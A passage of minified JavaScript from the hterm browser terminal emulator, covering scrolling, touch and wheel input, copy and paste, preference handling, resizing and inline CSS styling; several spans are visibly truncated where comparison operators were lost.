selection=this.document_.getSelection();selection.collapse(firstRow,0);selection.extend(focusNode,focusNode.length||0);this.selection.sync()};hterm.ScrollPort.prototype.getScrollMax_=function(){return this.scrollArea_.getBoundingClientRect().height+this.visibleRowTopMargin+this.visibleRowBottomMargin-this.screen_.getBoundingClientRect().height};hterm.ScrollPort.prototype.scrollRowToTop=function(rowIndex){if(rowIndex<0){rowIndex=0}this.syncScrollHeight();this.isScrolledEnd=rowIndex+this.visibleRowCount>=this.lastRowCount_;let scrollTop=rowIndex*this.characterSize.height+this.visibleRowTopMargin;const scrollMax=this.getScrollMax_();if(scrollTop>scrollMax){scrollTop=scrollMax}if(this.screen_.scrollTop==scrollTop){return}this.screen_.scrollTop=scrollTop;this.scheduleRedraw()};hterm.ScrollPort.prototype.scrollRowToBottom=function(rowIndex){this.scrollRowToTop(rowIndex-this.visibleRowCount)};hterm.ScrollPort.prototype.scrollRowToMiddle=function(rowIndex){this.scrollRowToTop(rowIndex-Math.floor(this.visibleRowCount/2))};hterm.ScrollPort.prototype.getTopRowIndex=function(){return Math.round(this.screen_.scrollTop/this.characterSize.height)};hterm.ScrollPort.prototype.getBottomRowIndex=function(topRowIndex){return topRowIndex+this.visibleRowCount-1};hterm.ScrollPort.prototype.onScroll_=function(e){const screenSize=this.getScreenSize();if(screenSize.width!=this.lastScreenWidth_||screenSize.height!=this.lastScreenHeight_){this.resize();return}this.redraw_();this.publish("scroll",{scrollPort:this})};hterm.ScrollPort.prototype.onScrollWheel=function(e){};hterm.ScrollPort.prototype.onScrollWheel_=function(e){this.onScrollWheel(e);if(e.defaultPrevented){return}const delta=this.scrollWheelDelta(e);let top=this.screen_.scrollTop-delta.y;if(top<0){top=0}const scrollMax=this.getScrollMax_();if(top>scrollMax){top=scrollMax}if(top!=this.screen_.scrollTop){this.screen_.scrollTop=top;e.preventDefault()}else if(e.ctrlKey){e.preventDefault()}};hterm.ScrollPort.prototype.scrollWheelDelta=function(e){const delta={x:0,y:0};switch(e.deltaMode){case WheelEvent.DOM_DELTA_PIXEL:delta.x=e.deltaX*this.scrollWheelMultiplier_;delta.y=e.deltaY*this.scrollWheelMultiplier_;break;case WheelEvent.DOM_DELTA_LINE:delta.x=e.deltaX*this.characterSize.width;delta.y=e.deltaY*this.characterSize.height;break;case WheelEvent.DOM_DELTA_PAGE:{const{width,height}=this.screen_.getBoundingClientRect();delta.x=e.deltaX*this.characterSize.width*width;delta.y=e.deltaY*this.characterSize.height*height;break}}delta.y*=-1;return delta};hterm.ScrollPort.prototype.onTouch=function(e){};hterm.ScrollPort.prototype.onTouch_=function(e){this.onTouch(e);if(e.defaultPrevented){return}const scrubTouch=function(t){return{id:t.identifier,y:t.clientY,x:t.clientX}};let i,touch;switch(e.type){case"touchstart":if(hterm.os=="cros"&&globalThis.chrome?.windows?.getCurrent){chrome.windows.getCurrent(win=>{if(!win.focused){chrome.windows.update(win.id,{focused:true})}})}for(i=0;iscrollMax){top=scrollMax}if(top!=this.screen_.scrollTop){this.screen_.scrollTop=top}break}}e.preventDefault()};hterm.ScrollPort.prototype.onResize_=function(e){this.syncCharacterSize()};hterm.ScrollPort.prototype.onCopy=function(e){};hterm.ScrollPort.prototype.onCopy_=function(e){this.onCopy(e);if(e.defaultPrevented){return}this.resetSelectBags_();this.selection.sync();if(this.selection.isCollapsed||this.selection.endRow.rowIndex-this.selection.startRow.rowIndex<2){return}const topRowIndex=this.getTopRowIndex();const bottomRowIndex=this.getBottomRowIndex(topRowIndex);if(this.selection.startRow.rowIndexbottomRowIndex){let startBackfillIndex;if(this.selection.startRow.rowIndex>bottomRowIndex){startBackfillIndex=this.selection.startRow.rowIndex+1}else{startBackfillIndex=this.bottomFold_.previousSibling.rowIndex+1}this.bottomSelectBag_.textContent=this.rowProvider_.getRowsText(startBackfillIndex,this.selection.endRow.rowIndex);this.rowNodes_.insertBefore(this.bottomSelectBag_,this.selection.endRow)}};hterm.ScrollPort.prototype.onBodyKeyDown_=function(e){if(!this.ctrlVPaste){return}if((e.ctrlKey||e.metaKey)&&e.keyCode==86){this.pasteTarget_.focus()}};hterm.ScrollPort.prototype.onPaste_=function(e){this.pasteTarget_.focus();setTimeout(()=>{this.publish("paste",{text:this.pasteTarget_.value});this.pasteTarget_.value="";this.focus()})};hterm.ScrollPort.prototype.handlePasteTargetTextInput_=function(e){e.stopPropagation()};hterm.ScrollPort.prototype.onDragAndDrop_=function(e){if(!this.pasteOnDrop){return}e.preventDefault();let data;let format;if(e.shiftKey){e.dataTransfer.types.forEach(t=>{if(!format&&t!="text/plain"&&t.startsWith("text/")){format=t}});if(format){data=e.dataTransfer.getData(format)}}if(!data){data=e.dataTransfer.getData("text/plain")}if(data){this.publish("paste",{text:data})}};hterm.ScrollPort.prototype.setScrollbarVisible=function(state){if(state){this.screen_.style.overflowY="scroll";this.currentScrollbarWidthPx=hterm.ScrollPort.DEFAULT_SCROLLBAR_WIDTH;this.syncScrollbarWidth_()}else{this.screen_.style.overflowY="hidden";this.currentScrollbarWidthPx=0}};hterm.ScrollPort.prototype.setScrollWheelMoveMultipler=function(multiplier){this.scrollWheelMultiplier_=multiplier};hterm.Terminal=function({profileId,storage}={}){this.ready_=false;this.profileId_=null;this.storage_=storage||new lib.Storage.Local;this.prefs_=null;this.primaryScreen_=new hterm.Screen;this.alternateScreen_=new hterm.Screen;this.screen_=this.primaryScreen_;this.screenSize=new hterm.Size(0,0);this.scrollPort_=new hterm.ScrollPort(this);this.scrollPort_.subscribe("resize",this.onResize_.bind(this));this.scrollPort_.subscribe("scroll",this.onScroll_.bind(this));this.scrollPort_.subscribe("paste",this.onPaste_.bind(this));this.scrollPort_.subscribe("focus",this.onScrollportFocus_.bind(this));this.scrollPort_.subscribe("options",this.onOpenOptionsPage_.bind(this));this.scrollPort_.onCopy=this.onCopy_.bind(this);this.div_=null;this.notifications_=null;this.document_=globalThis.document;this.scrollbackRows_=[];this.tabStops_=[];this.defaultTabStops=true;this.vtScrollTop_=null;this.vtScrollBottom_=null;this.cursorNode_=null;this.cursorShape_=hterm.Terminal.cursorShape.BLOCK;this.cursorBlinkCycle_=[100,100];this.cursorBlinkPause_=false;this.cursorOffScreen_=false;this.myOnCursorBlink_=this.onCursorBlink_.bind(this);this.backgroundColor_=null;this.foregroundColor_=null;this.colorPaletteOverrides_=new Map;this.screenBorderSize_=0;this.scrollOnOutput_=null;this.scrollOnKeystroke_=null;this.scrollWheelArrowKeys_=null;this.defeatMouseReports_=false;this.setAutomaticMouseHiding();this.mouseHideDelay_=null;this.bellAudio_=this.document_.createElement("audio");this.bellAudio_.id="hterm:bell-audio";this.bellAudio_.setAttribute("preload","auto");this.accessibilityReader_=null;this.contextMenu=new hterm.ContextMenu;this.bellNotificationList_=[];this.bellSquelchTimeout_=null;this.desktopNotificationBell_=false;this.savedOptions_={};this.options_=new hterm.Options;this.timeouts_={};this.vt=new hterm.VT(this);this.saveCursorAndState(true);this.keyboard=new hterm.Keyboard(this);this.io=new hterm.Terminal.IO(this);this.enableMouseDragScroll=true;this.copyOnSelect=null;this.mouseRightClickPaste=null;this.mousePasteButton=null;this.useDefaultWindowCopy=false;this.clearSelectionAfterCopy=true;this.realizeSize_(80,24);this.setDefaultTabStops();this.allowImagesInline=null;this.reportFocus=false;this.alwaysUseLegacyPasting=false;this.setProfile(profileId||hterm.Terminal.DEFAULT_PROFILE_ID,()=>{hterm.initPromise.then(()=>this.onTerminalReady())});this.findBar=new hterm.FindBar(this)};hterm.Terminal.DEFAULT_PROFILE_ID="default";hterm.Terminal.cursorShape={BLOCK:"BLOCK",BEAM:"BEAM",UNDERLINE:"UNDERLINE"};hterm.Terminal.prototype.onTerminalReady=function(){};hterm.Terminal.prototype.tabWidth=8;hterm.Terminal.prototype.setProfile=function(profileId,callback=undefined){profileId=profileId.replace(/\//g,"");if(this.profileId_===profileId){if(callback){callback()}return}this.profileId_=profileId;if(this.prefs_){this.prefs_.setProfile(profileId,callback);return}this.prefs_=new hterm.PreferenceManager(this.storage_,this.profileId_);const loadKeyBindings=(bindings=null,useOsDefaults=false)=>{this.keyboard.bindings.clear();if(bindings===null){bindings={}}if(!(bindings instanceof Object)){console.error("Error in keybindings preference: Expected object");bindings={}}try{this.keyboard.bindings.addBindings(bindings,!!useOsDefaults)}catch(ex){console.error("Error in keybindings preference: "+ex)}};this.prefs_.addObservers(null,{"alt-gr-mode":v=>{if(v==null){if(navigator.language.toLowerCase()=="en-us"){v="none"}else{v="right-alt"}}else if(typeof v=="string"){v=v.toLowerCase()}else{v="none"}if(!/^(none|ctrl-alt|left-alt|right-alt)$/.test(v)){v="none"}this.keyboard.altGrMode=v},"alt-backspace-is-meta-backspace":v=>{this.keyboard.altBackspaceIsMetaBackspace=v},"alt-is-meta":v=>{this.keyboard.altIsMeta=v},"alt-sends-what":v=>{if(!/^(escape|8-bit|browser-key)$/.test(v)){v="escape"}this.keyboard.altSendsWhat=v},"audible-bell-sound":v=>{const ary=v.match(/^lib-resource:(\S+)/);if(ary){const name=ary[1];if(lib.resource.get(name)===undefined){console.warn(`Invalid resource name '${name}'`);this.prefs_.reset("audible-bell-sound");return}this.bellAudio_.setAttribute("src",lib.resource.getDataUrl(name))}else{this.bellAudio_.setAttribute("src",v)}},"desktop-notification-bell":v=>{if(v&&Notification){this.desktopNotificationBell_=Notification.permission==="granted";if(!this.desktopNotificationBell_){console.warn("desktop-notification-bell is true but we do not have "+"permission to display notifications.")}}else{this.desktopNotificationBell_=false}},"background-color":v=>{this.setBackgroundColor(v)},"background-image":v=>{this.scrollPort_.setBackgroundImage(v)},"background-size":v=>{this.scrollPort_.setBackgroundSize(v)},"background-position":v=>{this.scrollPort_.setBackgroundPosition(v)},"backspace-sends-backspace":v=>{this.keyboard.backspaceSendsBackspace=v},"character-map-overrides":v=>{if(!(v==null||v instanceof Object)){console.warn("Preference character-map-modifications is not an "+"object: "+v);return}this.vt.characterMaps.reset();this.vt.characterMaps.setOverrides(v)},"cursor-blink":v=>{this.setCursorBlink(!!v)},"cursor-shape":v=>{this.setCursorShape(v)},"cursor-blink-cycle":v=>{if(v instanceof Array&&typeof v[0]=="number"&&typeof v[1]=="number"){this.cursorBlinkCycle_=v}else if(typeof v=="number"){this.cursorBlinkCycle_=[v,v]}else{this.cursorBlinkCycle_=[100,100]}},"cursor-color":v=>{this.setCursorColor(v)},"color-palette-overrides":v=>{if(!(v==null||v instanceof Object||v instanceof Array)){console.warn("Preference color-palette-overrides is not an array or "+"object: "+v);return}lib.colors.stockPalette.forEach((c,i)=>this.setColorPalette(i,c));this.colorPaletteOverrides_.clear();if(v){for(const key in v){const i=parseInt(key,10);if(isNaN(i)||i<0||i>255){console.log("Invalid value in palette: "+key+": "+v[key]);continue}if(v[i]){const rgb=lib.colors.normalizeCSS(v[i]);if(rgb){this.setColorPalette(i,rgb);this.colorPaletteOverrides_.set(i,rgb)}}}}this.primaryScreen_.textAttributes.colorPaletteOverrides=[];this.alternateScreen_.textAttributes.colorPaletteOverrides=[]},"copy-on-select":v=>{this.copyOnSelect=!!v},"use-default-window-copy":v=>{this.useDefaultWindowCopy=!!v},"clear-selection-after-copy":v=>{this.clearSelectionAfterCopy=!!v},"ctrl-plus-minus-zero-zoom":v=>{this.keyboard.ctrlPlusMinusZeroZoom=v},"ctrl-c-copy":v=>{this.keyboard.ctrlCCopy=v},"ctrl-v-paste":v=>{this.keyboard.ctrlVPaste=v;this.scrollPort_.setCtrlVPaste(v)},"paste-on-drop":v=>{this.scrollPort_.setPasteOnDrop(v)},"east-asian-ambiguous-as-two-column":v=>{hterm.wc.regardCjkAmbiguous=v},"enable-8-bit-control":v=>{this.vt.enable8BitControl=!!v},"enable-bold":v=>{this.syncBoldSafeState()},"enable-bold-as-bright":v=>{this.primaryScreen_.textAttributes.enableBoldAsBright=!!v;this.alternateScreen_.textAttributes.enableBoldAsBright=!!v},"enable-blink":v=>{this.setTextBlink(!!v)},"enable-clipboard-write":v=>{this.vt.enableClipboardWrite=!!v},"enable-dec12":v=>{this.vt.enableDec12=!!v},"enable-csi-j-3":v=>{this.vt.enableCsiJ3=!!v},"find-result-color":v=>{this.findBar.setFindResultColor(v)},"find-result-selected-color":v=>{this.findBar.setFindResultSelectedColor(v)},"font-family":v=>{this.syncFontFamily()},"font-size":v=>{v=parseInt(v,10);if(isNaN(v)||v<=0){console.error(`Invalid font size: ${v}`);return}this.setFontSize(v)},"font-smoothing":v=>{this.syncFontFamily()},"foreground-color":v=>{this.setForegroundColor(v)},"hide-mouse-while-typing":v=>{this.setAutomaticMouseHiding(v)},"home-keys-scroll":v=>{this.keyboard.homeKeysScroll=v},keybindings:v=>{loadKeyBindings(v,this.prefs_.get("keybindings-os-defaults"))},"keybindings-os-defaults":v=>{loadKeyBindings(this.prefs_.get("keybindings"),v)},"line-height-padding-size":v=>{v=parseFloat(v);if(isNaN(v)){console.error(`Invalid line height padding size: ${v}`);return}this.setLineHeightPaddingSize(v)},"media-keys-are-fkeys":v=>{this.keyboard.mediaKeysAreFKeys=v},"meta-sends-escape":v=>{this.keyboard.metaSendsEscape=v},"mouse-right-click-paste":v=>{this.mouseRightClickPaste=v},"mouse-paste-button":v=>{this.syncMousePasteButton()},"page-keys-scroll":v=>{this.keyboard.pageKeysScroll=v},"pass-alt-number":v=>{if(v==null){v=hterm.os!=="mac"&&hterm.windowType!=="popup"&&hterm.windowType!=="app"}this.passAltNumber=v},"pass-ctrl-number":v=>{if(v==null){v=hterm.os!=="mac"&&hterm.windowType!=="popup"&&hterm.windowType!=="app"}this.passCtrlNumber=v},"pass-ctrl-n":v=>{this.passCtrlN=v},"pass-ctrl-t":v=>{this.passCtrlT=v},"pass-ctrl-tab":v=>{this.passCtrlTab=v},"pass-ctrl-w":v=>{this.passCtrlW=v},"pass-meta-number":v=>{if(v==null){v=hterm.os==="mac"&&hterm.windowType!=="popup"&&hterm.windowType!=="app"}this.passMetaNumber=v},"pass-meta-v":v=>{this.keyboard.passMetaV=v},"screen-padding-size":v=>{v=parseInt(v,10);if(isNaN(v)||v<0){console.error(`Invalid screen padding size: ${v}`);return}this.setScreenPaddingSize(v)},"screen-border-size":v=>{v=parseInt(v,10);if(isNaN(v)||v<0){console.error(`Invalid screen border size: ${v}`);return}this.setScreenBorderSize(v)},"screen-border-color":v=>{this.div_.style.borderColor=v},"scroll-on-keystroke":v=>{this.scrollOnKeystroke_=v},"scroll-on-output":v=>{this.scrollOnOutput_=v},"scrollbar-visible":v=>{this.setScrollbarVisible(v)},"scroll-wheel-may-send-arrow-keys":v=>{this.scrollWheelArrowKeys_=v},"scroll-wheel-move-multiplier":v=>{this.setScrollWheelMoveMultipler(v)},"shift-insert-paste":v=>{this.keyboard.shiftInsertPaste=v},"terminal-encoding":v=>{this.vt.setEncoding(v)},"user-css":v=>{this.scrollPort_.setUserCssUrl(v)},"user-css-text":v=>{this.scrollPort_.setUserCssText(v)},"word-break-match-left":v=>{this.primaryScreen_.wordBreakMatchLeft=v;this.alternateScreen_.wordBreakMatchLeft=v},"word-break-match-right":v=>{this.primaryScreen_.wordBreakMatchRight=v;this.alternateScreen_.wordBreakMatchRight=v},"word-break-match-middle":v=>{this.primaryScreen_.wordBreakMatchMiddle=v;this.alternateScreen_.wordBreakMatchMiddle=v},"allow-images-inline":v=>{this.allowImagesInline=v}});this.prefs_.readStorage(function(){this.prefs_.notifyAll();if(callback){this.ready_=true;callback()}}.bind(this))};hterm.Terminal.prototype.getPrefs=function(){return lib.notNull(this.prefs_)};hterm.Terminal.prototype.setBracketedPaste=function(state){this.options_.bracketedPaste=state};hterm.Terminal.prototype.setCursorColor=function(color){if(color===undefined){color=this.prefs_.getString("cursor-color")}this.setCssVar("cursor-color",color)};hterm.Terminal.prototype.getCursorColor=function(){return this.getCssVar("cursor-color")};hterm.Terminal.prototype.setSelectionEnabled=function(state){this.enableMouseDragScroll=state};hterm.Terminal.prototype.setBackgroundImage=function(cssUrl){if(cssUrl===undefined){cssUrl=this.prefs_.getString("background-image")}this.scrollPort_.setBackgroundImage(cssUrl)};hterm.Terminal.prototype.setBackgroundColor=function(color){if(color===undefined){color=this.prefs_.getString("background-color")}this.backgroundColor_=lib.colors.normalizeCSS(color);this.setRgbColorCssVar("background-color",this.backgroundColor_)};hterm.Terminal.prototype.getBackgroundColor=function(){return this.backgroundColor_};hterm.Terminal.prototype.setForegroundColor=function(color){if(color===undefined){color=this.prefs_.getString("foreground-color")}this.foregroundColor_=lib.colors.normalizeCSS(color);this.setRgbColorCssVar("foreground-color",this.foregroundColor_)};hterm.Terminal.prototype.getForegroundColor=function(){return this.foregroundColor_};hterm.Terminal.prototype.isPrimaryScreen=function(){return this.screen_==this.primaryScreen_};hterm.Terminal.prototype.installKeyboard=function(){this.keyboard.installKeyboard(this.scrollPort_.getDocument().body)};hterm.Terminal.prototype.uninstallKeyboard=function(){this.keyboard.installKeyboard(null)};hterm.Terminal.prototype.setCssVar=function(name,value,prefix="--hterm-"){this.document_.documentElement.style.setProperty(`${prefix}${name}`,value.toString())};hterm.Terminal.prototype.setRgbColorCssVar=function(name,rgb){const ary=rgb?lib.colors.crackRGB(rgb):null;if(ary){this.setCssVar(name,ary.slice(0,3).join(","))}};hterm.Terminal.prototype.setColorPalette=function(i,rgb){if(i>=0&&i<256&&rgb!=null&&rgb!=this.getColorPalette[i]){this.setRgbColorCssVar(`color-${i}`,rgb);this.screen_.textAttributes.colorPaletteOverrides[i]=rgb}};hterm.Terminal.prototype.getColorPalette=function(i){return this.screen_.textAttributes.colorPaletteOverrides[i]||this.colorPaletteOverrides_.get(i)||lib.colors.stockPalette[i]};hterm.Terminal.prototype.resetColor=function(i){this.setColorPalette(i,this.colorPaletteOverrides_.get(i)||lib.colors.stockPalette[i]);delete this.screen_.textAttributes.colorPaletteOverrides[i]};hterm.Terminal.prototype.resetColorPalette=function(){this.screen_.textAttributes.colorPaletteOverrides.forEach((c,i)=>this.resetColor(i))};hterm.Terminal.prototype.getCssVar=function(name,prefix="--hterm-"){return this.document_.documentElement.style.getPropertyValue(`${prefix}${name}`)};hterm.Terminal.prototype.getScrollPort=function(){return this.scrollPort_};hterm.Terminal.prototype.updateCssCharsize_=function(){this.setCssVar("charsize-width",this.scrollPort_.characterSize.width+"px");this.setCssVar("charsize-height",this.scrollPort_.characterSize.height+"px")};hterm.Terminal.prototype.setFontSize=function(px){if(px<=0){px=this.prefs_.getNumber("font-size")}this.scrollPort_.setFontSize(px);this.setCssVar("font-size",`${px}px`);this.updateCssCharsize_()};hterm.Terminal.prototype.getFontSize=function(){return this.scrollPort_.getFontSize()};hterm.Terminal.prototype.getFontFamily=function(){return this.scrollPort_.getFontFamily()};hterm.Terminal.prototype.syncFontFamily=function(){this.scrollPort_.setFontFamily(this.prefs_.getString("font-family"),this.prefs_.getString("font-smoothing"));this.updateCssCharsize_();this.syncBoldSafeState()};hterm.Terminal.prototype.syncMousePasteButton=function(){const button=this.prefs_.get("mouse-paste-button");if(typeof button=="number"){this.mousePasteButton=button;return}if(hterm.os!="linux"){this.mousePasteButton=1}else{this.mousePasteButton=2}};hterm.Terminal.prototype.syncBoldSafeState=function(){const enableBold=this.prefs_.get("enable-bold");if(enableBold!==null){this.primaryScreen_.textAttributes.enableBold=enableBold;this.alternateScreen_.textAttributes.enableBold=enableBold;return}const normalSize=this.scrollPort_.measureCharacterSize();const boldSize=this.scrollPort_.measureCharacterSize("bold");const isBoldSafe=normalSize.equals(boldSize);if(!isBoldSafe){console.warn("Bold characters disabled: Size of bold weight differs "+"from normal. Font family is: "+this.scrollPort_.getFontFamily())}this.primaryScreen_.textAttributes.enableBold=isBoldSafe;this.alternateScreen_.textAttributes.enableBold=isBoldSafe};hterm.Terminal.prototype.setTextBlink=function(state){if(state===undefined){state=this.prefs_.getBoolean("enable-blink")}this.setCssVar("blink-node-duration",state?"0.7s":"0")};hterm.Terminal.prototype.syncMouseStyle=function(){this.setCssVar("mouse-cursor-style",this.vt.mouseReport==this.vt.MOUSE_REPORT_DISABLED?"var(--hterm-mouse-cursor-text)":"var(--hterm-mouse-cursor-default)")};hterm.Terminal.prototype.saveCursor=function(){return this.screen_.cursorPosition.clone()};hterm.Terminal.prototype.getTextAttributes=function(){return this.screen_.textAttributes};hterm.Terminal.prototype.setTextAttributes=function(textAttributes){this.screen_.textAttributes=textAttributes};hterm.Terminal.prototype.setWindowTitle=function(title){globalThis.document.title=title};hterm.Terminal.prototype.setWindowName=function(name){};hterm.Terminal.prototype.restoreCursor=function(cursor){const row=lib.f.clamp(cursor.row,0,this.screenSize.height-1);const column=lib.f.clamp(cursor.column,0,this.screenSize.width-1);this.screen_.setCursorPosition(row,column);if(cursor.column>column||cursor.column==column&&cursor.overflow){this.screen_.cursorPosition.overflow=true}};hterm.Terminal.prototype.clearCursorOverflow=function(){this.screen_.cursorPosition.overflow=false};hterm.Terminal.prototype.saveCursorAndState=function(both){if(both){this.primaryScreen_.saveCursorAndState(this.vt);this.alternateScreen_.saveCursorAndState(this.vt)}else{this.screen_.saveCursorAndState(this.vt)}};hterm.Terminal.prototype.restoreCursorAndState=function(both){if(both){this.primaryScreen_.restoreCursorAndState(this.vt);this.alternateScreen_.restoreCursorAndState(this.vt)}else{this.screen_.restoreCursorAndState(this.vt)}};hterm.Terminal.prototype.setCursorShape=function(shape){this.cursorShape_=shape;this.restyleCursor_()};hterm.Terminal.prototype.getCursorShape=function(){return this.cursorShape_};hterm.Terminal.prototype.setLineHeightPaddingSize=function(size){this.scrollPort_.setLineHeightPaddingSize(size)};hterm.Terminal.prototype.setScreenPaddingSize=function(size){this.setCssVar("screen-padding-size",`${size}px`);this.scrollPort_.setScreenPaddingSize(size)};hterm.Terminal.prototype.setScreenBorderSize=function(size){this.div_.style.borderWidth=`${size}px`;this.screenBorderSize_=size;this.scrollPort_.resize()};hterm.Terminal.prototype.setWidth=function(columnCount){if(columnCount==null){this.div_.style.width="100%";return}const rightPadding=Math.max(this.scrollPort_.screenPaddingSize,this.scrollPort_.currentScrollbarWidthPx);this.div_.style.width=Math.ceil(this.scrollPort_.characterSize.width*columnCount+this.scrollPort_.screenPaddingSize+rightPadding+2*this.screenBorderSize_)+"px";this.realizeSize_(columnCount,this.screenSize.height);this.scheduleSyncCursorPosition_()};hterm.Terminal.prototype.setHeight=function(rowCount){if(rowCount==null){this.div_.style.height="100%";return}this.div_.style.height=this.scrollPort_.characterSize.height*rowCount+2*this.scrollPort_.screenPaddingSize+2*this.screenBorderSize_+"px";this.realizeSize_(this.screenSize.width,rowCount);this.scheduleSyncCursorPosition_()};hterm.Terminal.prototype.realizeSize_=function(columnCount,rowCount){let notify=false;if(columnCount!=this.screenSize.width){notify=true;this.realizeWidth_(columnCount)}if(rowCount!=this.screenSize.height){notify=true;this.realizeHeight_(rowCount)}if(notify){this.io.onTerminalResize_(columnCount,rowCount)}};hterm.Terminal.prototype.realizeWidth_=function(columnCount){if(columnCount<=0){throw new Error("Attempt to realize bad width: "+columnCount)}const deltaColumns=columnCount-this.screen_.getWidth();if(deltaColumns==0){return}this.screenSize.width=columnCount;this.screen_.setColumnCount(columnCount);if(deltaColumns>0){if(this.defaultTabStops){this.setDefaultTabStops(this.screenSize.width-deltaColumns)}}else{for(let i=this.tabStops_.length-1;i>=0;i--){if(this.tabStops_[i]0){if(deltaRows<=this.scrollbackRows_.length){const scrollbackCount=Math.min(deltaRows,this.scrollbackRows_.length);const rows=this.scrollbackRows_.splice(this.scrollbackRows_.length-scrollbackCount,scrollbackCount);this.screen_.unshiftRows(rows);deltaRows-=scrollbackCount;cursor.row+=scrollbackCount}if(deltaRows){this.appendRows_(deltaRows)}}this.setVTScrollRegion(null,null);this.restoreCursor(cursor)};hterm.Terminal.prototype.scrollHome=function(){this.scrollPort_.scrollRowToTop(0)};hterm.Terminal.prototype.scrollEnd=function(){this.scrollPort_.scrollRowToBottom(this.getRowCount())};hterm.Terminal.prototype.scrollPageUp=function(){this.scrollPort_.scrollPageUp()};hterm.Terminal.prototype.scrollPageDown=function(){this.scrollPort_.scrollPageDown()};hterm.Terminal.prototype.scrollLineUp=function(){const i=this.scrollPort_.getTopRowIndex();this.scrollPort_.scrollRowToTop(i-1)};hterm.Terminal.prototype.scrollLineDown=function(){const i=this.scrollPort_.getTopRowIndex();this.scrollPort_.scrollRowToTop(i+1)};hterm.Terminal.prototype.wipeContents=function(){this.clearHome(this.primaryScreen_);this.clearHome(this.alternateScreen_);this.clearScrollback()};hterm.Terminal.prototype.clearScrollback=function(){this.scrollEnd();this.scrollbackRows_.length=0;this.scrollPort_.resetCache();[this.primaryScreen_,this.alternateScreen_].forEach(screen=>{const bottom=screen.getHeight();this.renumberRows_(0,bottom,screen)});this.syncCursorPosition_();this.scrollPort_.invalidate()};hterm.Terminal.prototype.reset=function(){this.vt.reset();this.clearAllTabStops();this.setDefaultTabStops();this.resetColorPalette();const resetScreen=screen=>{screen.textAttributes.reset();screen.textAttributes.colorPaletteOverrides=[];this.clearHome(screen);screen.saveCursorAndState(this.vt)};resetScreen(this.primaryScreen_);resetScreen(this.alternateScreen_);this.options_=new hterm.Options;this.setCursorBlink(!!this.prefs_.get("cursor-blink"));this.setVTScrollRegion(null,null);this.setCursorVisible(true)};hterm.Terminal.prototype.softReset=function(){this.vt.reset();this.options_=new hterm.Options;this.options_.cursorBlink=!!this.timeouts_.cursorBlink;this.resetColorPalette();const resetScreen=screen=>{screen.textAttributes.reset();screen.textAttributes.colorPaletteOverrides=[];screen.saveCursorAndState(this.vt)};resetScreen(this.primaryScreen_);resetScreen(this.alternateScreen_);this.setVTScrollRegion(null,null);this.setCursorVisible(true)};hterm.Terminal.prototype.forwardTabStop=function(){const column=this.screen_.cursorPosition.column;for(let i=0;icolumn){this.setCursorColumn(this.tabStops_[i]);return}}const overflow=this.screen_.cursorPosition.overflow;this.setCursorColumn(this.screenSize.width-1);this.screen_.cursorPosition.overflow=overflow};hterm.Terminal.prototype.backwardTabStop=function(){const column=this.screen_.cursorPosition.column;for(let i=this.tabStops_.length-1;i>=0;i--){if(this.tabStops_[i]=0;i--){if(this.tabStops_[i]==column){return}if(this.tabStops_[i] to your HTML to fix.`)}this.div_=div;this.div_.style.borderStyle="solid";this.div_.style.borderWidth=0;this.div_.style.boxSizing="border-box";this.accessibilityReader_=new hterm.AccessibilityReader(div);this.scrollPort_.decorate(div,()=>this.setupScrollPort_())};hterm.Terminal.prototype.setupScrollPort_=function(){this.scrollPort_.setBackgroundImage(this.prefs_.getString("background-image"));this.scrollPort_.setBackgroundSize(this.prefs_.getString("background-size"));this.scrollPort_.setBackgroundPosition(this.prefs_.getString("background-position"));this.scrollPort_.setUserCssUrl(this.prefs_.getString("user-css"));this.scrollPort_.setUserCssText(this.prefs_.getString("user-css-text"));this.scrollPort_.setAccessibilityReader(lib.notNull(this.accessibilityReader_));this.div_.focus=this.focus.bind(this);this.setFontSize(this.prefs_.getNumber("font-size"));this.syncFontFamily();this.setScrollbarVisible(this.prefs_.getBoolean("scrollbar-visible"));this.setScrollWheelMoveMultipler(this.prefs_.getNumber("scroll-wheel-move-multiplier"));this.document_=this.scrollPort_.getDocument();this.accessibilityReader_.decorate(this.document_);this.findBar.decorate(this.document_);this.notifications_=new hterm.NotificationCenter(lib.notNull(this.document_.body),this.accessibilityReader_);this.document_.body.oncontextmenu=function(){return false};this.contextMenu.setDocument(this.document_);const onMouse=this.onMouse_.bind(this);const screenNode=this.scrollPort_.getScreenNode();screenNode.addEventListener("mousedown",onMouse);screenNode.addEventListener("mouseup",onMouse);screenNode.addEventListener("mousemove",onMouse);this.scrollPort_.onScrollWheel=onMouse;screenNode.addEventListener("keydown",this.onKeyboardActivity_.bind(this));screenNode.addEventListener("focus",this.onFocusChange_.bind(this,true));screenNode.addEventListener("mousedown",function(){setTimeout(this.onFocusChange_.bind(this,true))}.bind(this));screenNode.addEventListener("blur",this.onFocusChange_.bind(this,false));const style=this.document_.createElement("style");style.textContent=` +.cursor-node[focus="false"] { + box-sizing: border-box; + background-color: transparent !important; + border-width: 2px; + border-style: solid; +} +menu { + background: #fff; + border-radius: 4px; + color: #202124; + cursor: var(--hterm-mouse-cursor-pointer); + display: none; + filter: drop-shadow(0 1px 3px #3C40434D) drop-shadow(0 4px 8px #3C404326); + margin: 0; + padding: 8px 0; + position: absolute; + transition-duration: 200ms; +} +menuitem { + display: block; + font: var(--hterm-font-size) 'Roboto', 'Noto Sans', sans-serif; + padding: 0.5em 1em; + white-space: nowrap; +} +menuitem.separator { + border-bottom: none; + height: 0.5em; + padding: 0; +} +menuitem:hover { + background-color: #e2e4e6; +} +.wc-node { + display: inline-block; + text-align: center; + width: calc(var(--hterm-charsize-width) * 2); + line-height: var(--hterm-charsize-height); +} +:root { + --hterm-charsize-width: ${this.scrollPort_.characterSize.width}px; + --hterm-charsize-height: ${this.scrollPort_.characterSize.height}px; + --hterm-blink-node-duration: 0.7s; + --hterm-mouse-cursor-default: default; + --hterm-mouse-cursor-text: text; + --hterm-mouse-cursor-pointer: pointer; + --hterm-mouse-cursor-style: var(--hterm-mouse-cursor-text); + --hterm-screen-padding-size: 0; + +${lib.colors.stockPalette.map((c,i)=>` + --hterm-color-${i}: ${lib.colors.crackRGB(c).slice(0,3).join(",")}; +`).join("")} +} +.uri-node:hover { + text-decoration: underline; + cursor: var(--hterm-mouse-cursor-pointer); +} +@keyframes blink { + from { opacity: 1.0; } + to { opacity: 0.0; } +} +.blink-node { + animation-name: blink; + animation-duration: var(--hterm-blink-node-duration); + animation-iteration-count: infinite; + animation-timing-function: ease-in-out; + animation-direction: alternate; 